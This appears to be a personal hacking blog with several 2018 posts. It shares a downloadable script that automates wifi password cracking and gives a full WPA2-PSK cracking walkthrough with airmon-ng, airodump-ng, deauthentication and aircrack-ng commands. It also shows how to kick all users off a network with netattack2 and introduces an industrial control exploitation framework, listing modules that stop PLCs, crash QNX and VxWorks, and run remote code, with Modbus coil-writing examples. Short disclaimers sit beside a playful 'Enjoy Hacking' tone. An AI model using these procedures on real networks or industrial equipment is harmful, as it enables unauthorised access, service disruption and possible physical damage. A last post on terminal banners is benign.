Thursday 22 March 2018

Aircrack-ng Automated | Bash Script


                                                                                           image source: www.aircrack-ng.org
Hi,
Got tired of typing commands for cracking wifi Passwords in the terminal? Here I made a solution for that. I was trying to reduce the time and effort made in typing commands for using aircrack-ng suite.
So I made a bash script for automation of aircrack-ng, which i am going to share with you. And you can make any type of changes in the script as you like. Although the script is working fine.

  1. You just have to download the script.
  2. Make that executable.
  3. Run the script with root privilege.

And just go with the flow.
Remember that, You can always ask for the wifi password or pay for that to owner.

https://drive.google.com/open?id=13DGfJVISL-5tw_XgjPSexqRJE4TflZ5s

As I said the script can be modified as required. Let me know if you need help.

Thank You.

Thursday 15 March 2018

Industrial Control System Exploitation Framework




Introduction

ISF(Industrial Exploitation Framework) : It is a exploitation framework written in python and based on open source project routersploit. It helps us to test vulnerabilities with multiple programmable logic controller (PLC) and Industrial Control System (ICS) software.
Link :- https://github.com/dark-lbp/isf

Modbus : Modbus is a serial communication protocol. Which is used to connecting industrial electronic devices because they are free and easy to deploy. It has one Master and one (at least) or more Slaves. Each slave has unique 8-bit device address or unit number.
Coils and registers are names or pre-defined variables for memory addresses. The coil is a boolean (bit) variable and a register is an integer variable. There are discrete inputs (read-only boolean), coils (read-write boolean), input registers (read-only integer), and holding registers (read-write integer).

Requirements

* gnureadline
* requests
* paramiko
* beautifulsoup4
* pysnmp
* python-nmap
* scapy

Exploit modules included in ICSSPLOIT

* s7_300_400_plc_control.py: Siemens S7-300 and S7-400 start/stop
* vxworks_rpc_dos.py: Works on all Vxworks system which Remote Procedure
    call (RPC) protocols is enabled.CVE-2015-7599)
* quantum_140_plc_control.py: Schneider Quantum 140 series start/stop.
* crash_qnx_inetd_tcp_service.py: Crash QNX Inetd tcp service started with inetd.
* qconn_remote_exec.py: QCONN QNX Neutrino remote command execution
    vulnerability.

Installation

There is requirements file which can be installed by using pip as:
pip install -r requirements


PoC

--> Setup Modbus master and one slave on other machine in network.

--> Import module
Move to downloaded directory isf and type python
 
from icssploit.clients.modbus_tcp_client import ModbusClient

 

--> Init Client

target = ModbusClient(name=’modbus_tcp_client’, ip=’<IP>’)
 
eg: target = ModbusClient(name=’modbus_tcp_client’, ip=’192.168.0.115’)
target.connect()

We are now connected to Modbus Client.

 
--> Read Coils
 
target.read_coils(address=<Address Of Slave>, count=<Count Of Coils>)
 
eg: target.read_coils(address=100, count=10)
 
This is used to read the values of coil at specified slave address.



--> Write Coils



 
target.write_multiple_coils(address=<Address Of Slave>, values=[<Values To
Be Written>])
 
eg: target.write_multiple_coils(address=100, values=[1, 1, 1, 1, 1, 1, 1, 1])
 
We can also change or write the values of coils here.




Now we can read coils again to confirm the changes made.







Sunday 4 February 2018

How To Kick People Off From Your Network



Yes,
Today we will be going to kick off other users who are connected to our network. So, for doing this we require :-

1. Linux (KALI)
2. Netattack2 (https://github.com/chrizator/netattack2)
    Use  "git clone https://github.com/chrizator/netattack2.git " to clone
3. A wireless Card

--> Now we move to netattack2 folder
--> type "ls" in terminal
--> chmod +x netattack2.py
-->./netattack2.py
-->type 8
-->select your interface and on next screen press enter.


It will now scan your network for live hosts or users

-->Here select hosts to kick them off and press enter







And here we are Done. All users will have no internet access.

Thanks For Reading.

Friday 5 January 2018

How To Hack Wifi: Cracking WPA2-PSK Password

In this tutorial we will learn to hack WPA2-PSK Password. Today most of the access point use Wi-Fi Protected Access II with a pre-shared key for security known as WPA2-PSK.
WPA2-PSK uses a 4-way handshake to share encrypted password to authenticate users. If we grab that encrypted password then after we can try to decrypt that later.

1. Put the wifi adapter in monitor mode.
    Open the terminal and type "airmon-ng start wlan0". This will turn your wifi adapter in monitor mode. Wlan0 is the name of my  wifi adapter. If you want to see yours type "ifconfig" in your terminal and press enter.

Now type "airmon-ng check kill" and press enter.

2. To find available access points in range.
    Now we have to find all the access points available currently in our range. This will help us to gather information about our victim. To do that we have to type "airodump-ng wlan0mon" and press enter.


3. Select our target access point to capture the Handshake.
     As we discussed earlier WPA2-PSK uses 4-way handshake. In this step we have to select our target to capture the handshake. Which we may want to decrypt later. Hence type "airodump-ng --bssid <bssid of AP> --channel <channel no. of AP> --write <handshake file name> wlan0mon"

eg:- airodump-ng --bssid 00:EC:0A:3F:C9:67 --channel 1 --write handshake wlan0mon






4.  Send deauthentication packetc to client.
      In this step we have to send some deauthentication packets to clients connected to our victim AP. So that if it tries to connect we can capture the 4-way handshake to decrypt that. We type in a new terminal aireplay-ng --deauth <No. of packets to send> -a <BSSID of AP> -c <BSSID of client> wlan0mon.

eg:- "aireplay-ng --deauth 5 -a 00:EC:0A:3F:C9:67 -c CC:9F:7A:81:81:19 wlan0mon"

and wait for message "WPA handshake".

5.  Now the Cracking Part.
     In this step we use aircrack-ng to crack the password by using a dictionary file. For this attack to get success the password must be there in wordlist file. we can find few wordlist in our kali linux (like rockyou.txt). I have created my own wordlist and use the same.
We type the following command.
"aircrack-ng -w <wordlist file> <captured handshake>"

eg:- aircrack-ng -w './wordlist.txt' './handshake.cap'

Now cracking part starts and we get the password, if it is present in the wordlist.


Yes! We got the password. Now we put the adapter back to managed mode by typing "airmon-ng stop wlan0mon". And we are ready to connect to the wifi again.
Don't use this on others wifi or at which you don't have permissions to do. Remember "A HUG is always better than HANDSHAKES".

 Thanks for reading. Enjoy Hacking.

Wednesday 3 January 2018

How To Add FIGLet Banner To Terminal In Kali Linux.




In this post we will learn to add a custom banner or header in our Terminal by using a free program called FIGLet. This banner will appear on the terminal whenever we open our terminal (as root).



Okay, what is FIGLet? The name derives from letters of Frank, Ian and Glenn. Its a free program written in C language and it commonly comes included in Unix-like Operating Systems. It generates text banners like composed of smaller ASCII charachters. And yes we can use these banners in our terminal also.



Lets do it.



  • Type “apt-get install figlet” in terminal and press enter to install FIGLet.


  • Now we type “figlet test banner” and press enter.






We can also use some options with figlet to customize our output banner. Few options which could be useful in making banner are like



  • -c
    It centers the output.

  • -l
    It can be used for left-side alignment of banner

  • -r
    It can be used for right-side alignment

  • -t
    It sets the output width to the terminal width


  • -w
    It can be used to specify custom output width.


  • -f
    It can be used to select a font file


  • -d
    For changing the directory of fonts.



For example we type “figlet -ct test banner” and press enter.



Now we have to add this banner to our terminal so that when we open it will be shown on the top. To do so we just have to append the command (like figlet -ct test banner) in bashrc file.

It is a hidden file present in our home directory. To find it type “ls -a” and press enter in home directory.





We can open the bashrc file in any text editor like vim or leafpad and add those command in the last line of the file and save it. I am using leafpad for this time. So i type leafpad '/root/.bashrc' and press enter.





After adding command save and close it. Now if we open our terminal, we can see our custom banner on the top.





Any code written in bashrc file will execute automatically. Try it yourself and thanks for reading.


Alok kumar

Featured Post

Exploiting Windows using malicious VCF file

John Page a cyber security researcher brought this vulnerability, which was a 0 day exploit working on latest windows 10 too. Introductio...